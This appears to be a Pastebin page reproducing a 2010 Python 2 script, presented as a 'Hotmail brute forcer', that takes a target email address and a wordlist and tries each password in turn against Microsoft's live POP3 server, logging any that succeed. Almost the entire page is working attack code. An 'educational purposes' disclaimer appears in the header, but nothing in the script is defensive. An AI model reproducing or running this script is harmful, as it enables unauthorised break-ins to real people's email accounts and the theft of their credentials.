Advertisement
Anonimo000

Hotmail bruteforce script in Python - 2010

Apr 24th, 2017
637
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.62 KB | None | 0 0
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. # Hotmail brute forcer
  4. # programmer : gunslinger_
  5. # Inspired by mywisdom
  6. # This program is only for educational purposes only.
  7.  
  8. import sys, poplib, time
  9.  
  10. __Author__ = "Gunslinger_"
  11. __Version__ = "1.0"
  12. __Date__ = "Mon, 22 Feb 2010 13:13:43 +0700 "
  13. log = "hotmailbrute.log"
  14. file = open(log, "a")
  15. counter = 0
  16. face = '''
  17. _ _ _ _ _ __
  18. | |__ ___ | |_ _ __ ___ __ _(_) | | |__ / _|
  19. | '_ \ / _ \| __| '_ ` _ \ / _` | | | | '_ \| |_
  20. | | | | (_) | |_| | | | | | (_| | | | | |_) | _|
  21. |_| |_|\___/ \__|_| |_| |_|\__,_|_|_| |_.__/|_|
  22.  
  23. Hotmail brute forcer
  24. programmer : %s
  25. version : %s
  26. date release : %s
  27. ''' % (__Author__, __Version__, __Date__)
  28.  
  29. help = '''
  30. Usage : ./hotmailbf.py -u [email] -w [wordlist]
  31. Example : ./hotmailbf.py -u suckthedick@hotmail.com -w wordlist.txt
  32. '''
  33.  
  34. for arg in sys.argv:
  35. if arg.lower() == '-u' or arg.lower() == '--user':
  36. email = sys.argv[int(sys.argv.index(arg))+1]
  37. elif arg.lower() == '-w' or arg.lower() == '--wordlist':
  38. wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
  39. elif arg.lower() == '-h' or arg.lower() == '--help':
  40. print face
  41. print help
  42. file.write(face)
  43. file.write(help)
  44.  
  45. #Change these if needed.
  46. HOST = 'pop3.live.com'
  47. PORT = 995
  48.  
  49. try:
  50. preventstrokes = open(wordlist, "r")
  51. words = preventstrokes.readlines()
  52. count = 0
  53. while count < len(words):
  54. words[count] = words[count].strip()
  55. count += 1
  56. except(IOError):
  57. print "\n[-] Error: Check your wordlist path\n"
  58. file.write("\n[-] Error: Check your wordlist path\n")
  59. sys.exit(1)
  60. def definer():
  61. print "-" * 60
  62. print "[+] Email : %s" % email
  63. print "[+] Wordlist : %s" % wordlist
  64. print "[+] Length wordlist : %s " % len(words)
  65. print "[+] Time Starting : %s" % time.strftime("%X")
  66. print "-" * 60
  67. file.write ("\n[+] Email : %s" % email)
  68. file.write ("\n[+] Wordlist : %s" % wordlist)
  69. file.write ("\n[+] length wordlist : %s " % len(words))
  70. file.write ("\n[+] Time Starting : %s" % time.strftime("%X"))
  71.  
  72. def main(password):
  73. global counter
  74. sys.stdout.write ("[-] Trying : %s \n" % (password))
  75. sys.stdout.flush()
  76. file.write("[-] Trying : %s \n" % (str(password)))
  77. try:
  78. pop = poplib.POP3_SSL(HOST, PORT)
  79. pop.user(email)
  80. pop.pass_(password)
  81. pop.quit()
  82. print "[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password)
  83. file.write("[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password))
  84. sys.exit(1)
  85. except Exception, e:
  86. pass
  87. except KeyboardInterrupt:
  88. print "\n[-] Aborting...\n"
  89. file.write("\n[-] Aborting...\n")
  90. sys.exit(1)
  91. counter+=1
  92. if counter == len(words)/5:
  93. print "[+] Hotmailbruteforcer 20% way done..."
  94. print "[+] Please be patient..."
  95. file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
  96. file.write("[+] Please be patient...\n")
  97. elif counter == len(words)/4:
  98. print "[+] Hotmailbruteforcer 25% way done..."
  99. print "[+] Please be patient..."
  100. file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
  101. file.write("[+] Please be patient...\n")
  102. elif counter == len(words)/2:
  103. print "[+] Hotmailbruteforcer on 50% done..."
  104. print "[+] Please be patient..."
  105. file.write("[+] hotmailbruteforcer on halfway done...\n")
  106. file.write("[+] Please be patient...\n")
  107. elif counter == len(words):
  108. print "[+] Hotmailbruteforcer done...\n"
  109. file.write("[+] Hotmailbruteforcer done...!\n")
  110.  
  111. if __name__ == '__main__':
  112. print face
  113. file.write(face)
  114. definer()
  115. for password in words:
  116. main(password.replace("\n",""))
  117. main(password)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement